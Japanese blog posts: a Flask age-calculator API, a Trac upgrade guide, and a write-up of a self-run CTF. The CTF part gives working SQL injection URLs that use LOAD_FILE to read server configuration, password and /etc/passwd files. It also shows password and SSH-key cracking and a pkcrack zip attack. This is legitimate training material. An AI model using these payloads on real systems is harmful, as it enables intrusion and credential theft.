curlで叩ける年齢計算サイト
本日のやっつけ仕事です。
きっかけ
curlで簡単に取得できる生年月日入力したら年齢がかえってくるサービスないの。
— 勇士Q (@ucq) January 22, 2014
作った
- 使用例
-
http://age.x86-64.jp/1991/12/29 …
Age: 22
というレスポンスを得る。
しくみ
WebフレームワークはFlask, アプリケーションサーバはこのTrac同様にuWSGIです。フロントエンドはnginx
です。
ソースコード
from flask import Flask from datetime import date app = Flask(__name__) app.config.update( DEBUG=False, ) @app.route('/') def usage(): return "Usage: http://age.x86-64.jp/yyyy/mm/dd <br> curl recommended." @app.route('/<int:yyyy>/<int:mm>/<int:dd>') def calculate(yyyy, mm, dd): """This part is from Stack Overflow: http://stackoverflow.com/a/2217537/1402144""" birthday = date(yyyy, mm, dd) today = date.today() years = today.year - birthday.year if all((x >= y) for x,y in zip(today.timetuple(), birthday.timetuple())): age = years else: age = years - 1 """End StackOverflow""" return "Age: %d" % age if __name__ == '__main__': app.run() # Change this to "pass" in order to run this via uwsgi.
はまってたところ
最初、calculate(yyyy, mm, dd)
の返り値にage
という変数を直接使おうとしていた (つまりreturn age
) が、
TypeError: 'int' object is not callable.
というエラーを得た。上記のようにsprintf
っぽく、return "%d" % age"
として解決。
Tracを1.0.1にアップグレードしました
くりすです。
本サイトのTrac
を0.12.3から1.0.1にアップグレードしましたので、その手順をメモしておきます。
もくじ
- ねらい
- 構成の細分化とは
virtualenv
って何だ
- アップグレードの実行
virtualenv
のセットアップvirtualenv
を使った、最新版TracのインストールTrac
を0.12.3から1.0.1にアップグレードするuwsgi
の設定を書き換える
1. ねらい
今回Trac
を1.0.1にアップグレードするにあたって、単なるアップグレードではなく、サーバの構成をより細分化することも目的としました。
1.1. 構成の細分化とは
ここでいう構成の細分化とは、システムに搭載する個々のアプリケーションの影響範囲をできるだけ小さくする工夫です。
さて、私が使っているUbuntu 12.04 LTS
のサーバには、パッケージマネージャを使ってTrac
をインストールすることができます:
# apt-get install trac
ところが、パッケージマネージャを使う方法には次のようなデメリットがあります:
- パッケージマネージャで提供されるアプリケーションは必ずしも最新版ではない
- システム全体に対してインストールすることになってしまうので、サーバの構成への影響が大きい
- レンタルサーバなどを使っていてroot権限を持っていない場合などは、そもそもこの方法を用いることができない
そこで、virtualenv
を用いて、専用のPython環境を構築することにしました。
1.2. virtualenv
って何だ
virtualenv
とは、Python環境のセットを好きなだけ錬成するしくみ、つまりPythonの仮想環境です。
virtualenv
を使うと、
- システムのPythonに影響を及ぼさない
- 一般ユーザの権限でもライブラリのインストールが容易
/etc
や/usr
などに余計なファイルを作らない- パッケージマネージャで入れたライブラリと競合しない
- 必要なだけ専用のPython環境を作ることができる
- Pythonのバージョンが選べる
といったメリットを得ることができます。
2. アップグレードの実行
以下、例示しているディレクトリは/home/trac/cur
が従来のTrac環境、/home/trac/new
が新しいTrac環境を表します。各自の環境に合わせて読み替えてください。
2.1. virtualenv
のセットアップ
virtualenv
はサラのUbuntuには入っていませんでしたので、インストール。
# apt-get install python-virtualenv
- まず、現在のデータをコピーします。
$ rsync -a /home/trac/cur/ /home/trac/new
rsyncコマンドにおいて、末尾の`/`のあるなしは極めて重要です。
/home/trac/new
下にvirtualenv
を生成します。root権限は必要ありません(したがってsudoも不要)$ cd /home/trac/new $ virtualenv env
そうすると、5秒ほどで専用のPython環境/home/trac/new/env
が爆誕します。コマンド引数の内容は任意で、たとえば$ virtualenv trac_python_env
とすれば、/home/trac/new/trac_python_env
が生まれます。
- 新しく作ったPython環境を起動します。
$ source env/bin/activate
そうすると、先ほど生成したPython仮想環境が起動し、(env)$
というプロンプトに変化します。(env)
という表示は、env
という名称のvirtualenv
を使用していることを示します。
2.2. virtualenv
を使った、最新版Tracのインストール
新しく作ったPython環境においては、基本的にeasy_install
あるいはpip
を用いて追加モジュールのインストールをします。中にはGenshi
(後述)などコンパイルを要するモジュールもあるので、build-essential
を用意しておいたほうがよいでしょう。
# apt-get install build-essential
(env)
が起動している状態で、pip install trac
を実行します。root権限やsudoは不要。(env)$ pip install trac
Tip:Trac
がレンダリングに用いるGenshi
というモジュールは、高速化のためにPython.h
というC++ヘッダファイルを使ってコンパイルするので、# apt-get install python-dev
としてこれをインストールしてやると、Genshi
の高速化機能の恩恵を受けることができます。
2.3. Trac
を0.12.3から1.0.1にアップグレードする
Trac
のアップグレードについては詳しい手順は公式ドキュメントに譲ります。要約するとこんな感じです:
(env)$ cd /home/trac (env)$ trac-admin new upgrade (env)$ trac-admin new wiki upgrade
これで、Trac
は最新版(1.0.1)になりました。最後に、uwsgi
の設定を更新しましょう。
2.4. uwsgi
の設定を書き換える
本ブログの一番最初の記事に記載していますtrac.xml
がベースです。これを/etc/uwsgi/sites-available/trac.xml
として準備します。
Note: これはuwsgi
1.0.3-debian 用の設定です。最新版のuwsgi
(2.0)では異なる部分が結構あるので、その場合以下は参考にできないかもしれません。
-
.xml
old new 1 1 <uwsgi> 2 2 <socket>127.0.0.1:7777</socket> 3 3 <plugin>python</plugin> 4 <env>TRAC_ENV=/home/trac/cur</env> 4 <env>TRAC_ENV=/home/trac/new</env> 5 <virtualenv>/home/trac/new/env</virtualenv> 5 6 <module>trac.web.main:dispatch_request</module> 6 7 </uwsgi>
Note: アップグレードなので/etc/uwsgi/sites-enabled/trac.xml
は既に/etc/uwsgi/sites-available/trac.xml
のシンボリックリンクとして存在します。
nginx
の設定には変更はありません。
最後に、uwsgi
を再起動してアップグレード作業は完了です。
# service uwsgi restart
次はnginx
を1.4.4に、uwsgi
を2.0にアップグレードしたいので勉強します。
あとUpstart
を用いて、uwsgi
をソケットアクティベーション型の運用にしたいですね。
Running uWSGI via Upstart --- uWSGI 2.0 Documentation
年越しCTF x86-64.jp大会 2014 を開催しました
あけましておめでとうございます。くりすです。今年もよろしくお願いします。
さて、年越しCTF x86-64.jp大会 2014 なるイベントを開催しましたが、参加者のみなさま、お楽しみいただけましたでしょうか?
以下に、年越しCTF x86-64.jp大会 2014 問題の解説記事を記します。
もくじ
- ルール説明
- 問題解説
- 第1段階 - Webアプリケーション
- 第2段階 - サーバへの侵入
- 第3段階 - パスワード付きzipへの攻撃
- 優勝者紹介
- 苦労話その他エピソード等
1. ルール説明
はじめに、ルールをおさらいします。
ルールは簡単。ターゲットサーバ最深部にあるキーを入手し、提出するだけ。あらゆる手を尽くして構いません。
楽勝そうですね。では、いってみましょう。
2. 問題解説
第1段階 - Webアプリケーション
ルール説明に従ってhttp://target.ctf.x86-64.jp/
にアクセスすると、「ほげ大学科目データベース」と称する、ネーミングが適当な大学の科目紹介ページに到着します。このページはPythonのFlaskというマイクロフレームワークを使って作られております。
さて、いくつかページ上のリンクをたどってみます。
http://target.ctf.x86-64.jp/show/GB10114
線形代数Iに関する科目説明が現れる
http://target.ctf.x86-64.jp/show/GB11911
データ構造とアルゴリズムに関する科目説明が現れる
といったふうに、URLのパスを直接パラメータとして扱っているようです。ここにSQLインジェクションを仕掛けてみましょう。
- まずは、UNION ALL SELECT null攻めをします。
http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,@@VERSION;--
このように、null
を10個と@@VERSION
を並べてUNIONクエリを発射すると、「備考」欄に5.5.34-0ubuntu0.12.04.1と出現し、SQLインジェクションの成功が確認できます。
- 次に、SQLインジェクションによってどんな操作が行えるか確認しましょう。
http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,grantee,privilege_type,is_grantable%20FROM%20information_schema.user_privileges;--
こうすると、[email protected]
,FILE
,NO
という応答を得ます。FILE権限があるようですね。ローカルファイルインジェクションをやってみましょう。
- /etc/nginx/nginx.conf をMySQL経由で読み取ってみましょう。
http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f6e67696e782f6e67696e782e636f6e66);--
こうすると、/etc/nginx/nginx.conf
を引っ張りだすことができます*1。LOAD_FILE()
の引数が16進数なのは、ASCIIのスラッシュが含まれるとパスと認識されて404 Not Foundという結果になってしまうからです。 その結果、nginx.conf
が備考欄に見事に出力され、/etc/nginx/conf.d/ctf.conf
というファイルをインクルードしていることを暴露します。
- /etc/nginx/conf.d/ctf.conf をMySQL経由で読み取る
http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f6e67696e782f636f6e662e642f6374662e636f6e66);--
これにより、nginxで/admin
が提供されており、さらに/etc/nginx/conf.d/admin.passwd
の存在を知ります。
- /etc/nginx/conf.d/admin.passwd を読み取り、クラックする
http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f6e67696e782f636f6e662e642f61646d696e2e706173737764);--
これにより、admin:$apr1$Zbv59eGR$GoMlmiqujrkVOgm8QbMcL/
を得ます。John The Ripperでも使えばクラックできます。ちなみに、パスワードはmanuke
です。
2. サーバへの侵入
これで、 http://target.ctf.x86-64.jp/admin
への侵入が完了しました。次は、サーバ自体への侵入を行います。
/admin
は、サーバのファイルシステムの/home/ctf
を表示するファイルマネージャです。ご丁寧にドットファイル系もばっちり表示してくれるので簡単ですね。.bash_history
(途中で問題都合で.zsh_history
になりました) を開きましょう。
wget https://www.dropbox.com/s/************/id_rsa
Dropboxに秘密鍵をアップロードするとかとんだお馬鹿さんですね。問答無用でダウンロードし、使ってみましょう。しかし、どのユーザに対する鍵か分からないし、そもそもこのid_rsaはパスワードがかかっています。
- まずは、id_rsaのパスワードを解きましょう。
よくあるパスワードを試したり、総当たり攻撃でパスワードを暴いたりすればいけます。たとえば、ssh-privkey-crackなるツールがあります*2。 パスワードは
pwned
です。
- 誰に対して使えるキーか、見当をつけましょう。
またSQLインジェクションに戻ります。
http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f706173737764);--
これは、/etc/passwd
を表示するペイロードです。じっくり眺めてみると、chris, ctf-kamokudb, ctf, takashiあたりが狙えそうだということが分かります。
このキーが使えるアカウントは、
ctf
です。
- キーを探しましょう。
/home/ctf
直下には偽物しかないので、どこか別のパスに隠されているはずです。/etc
以下を調べると、/etc/sudoers.bak
という、パーミッション444のファイルが見つかります。大当たりですね。ctf ALL=(takashi) NOPASSWD: /bin/cat ctf ALL=(takashi) NOPASSWD: /bin/ls
たいへんよい。これらの権限を使えば、/home/takashi/Desktop/README.txt
を見つけることは容易です。
このREADME.txtを読みます。
Impressive! You have reached the very depth of this server! FINAL CHALLENGE: The key is right here... https://www.dropbox.com/s/qc7vo2o7ndmqu0n/lolz.zip Download the zip file to your local machine and see what you can do. Good luck!zipファイル中にキーが眠っているようです。
3. パスワード付きzip対する攻撃
先ほどダウンロードしたzipファイルを解凍してみましょう。できませんね。パスワードがかかっています。
でも、心配ご無用。なんとこのzipファイル、js/jquery.js
という、みなさんも容易に手に入れることができるファイルが一緒に保管されているのです。zipファイルの暗号は、選択平文攻撃という攻撃に対して脆弱であることが分かっており、実際に暗号化zipを解読するツールもあります。そのひとつが、pkcrackです。
(わたしがビルドしたときは)ちょっと人力パッチを当てる必要がありましたが、こいつを使えば、どんなに長いパスワードが使われていようと、zipの暗号を30秒ほどで解いてしまうことができるのです。
- クラックの準備をする
zipに対する選択平文攻撃を行うためには、jquery.jsを同じアーカイブ方式、同じファイルシステムでzipに圧縮します。Linuxで
zip jquery.zip jquery.js
を実行すれば大丈夫です。Windowsでやると失敗します。
- クラックする
pkcrack -c js/jquery.js -p jquery.js -C lolz.zip -P ~/jquery.zip -d decrypted-lolz.zip
- 解読されたzipを解凍し、HERE_IS_THE_KEYを読み、キーをsubmitする。
註釈等
*1
本来はAppArmorによって保護されている部分ですが、CTFに供するためにわざと脆弱な設定を施しました。
*2
http://neophob.com/2007/10/ssh-private-key-cracker/
お疲れ様でした。以上が、年越しCTF x86-64.jp大会 2014の全容です。お楽しみいただけましたでしょうか!!
3. 正解者紹介
早着順(敬称略)です。
- superbacker 優勝
- hiromu 第2位
- akiym 第3位
- ucq 第4位
4. 苦労話、与太話
ここまでくるともう書くのだるいから箇条書きで。
.bash_history
や.zsh_history
,~/.ssh/authorized_keys
を消されまくったchattr +i
して対処
- uwsgiがハングした
supervisorctl restart all
をcronで定期的に実行するようにした
/etc/sudoers
を問題に盛り込もうとパーミッションを444にしたら、sudo自体が死んだ/etc/sudoers.bak
で代用
そんな感じですね。パーミッションがらみでミスってて、先にサーバに到達した参加者に妨害工作を受けたりしました。
ここまでのお付き合い、ありがとうございました。SECCON 2013 全国大会で、そしてtkbctf3で、また会いましょう。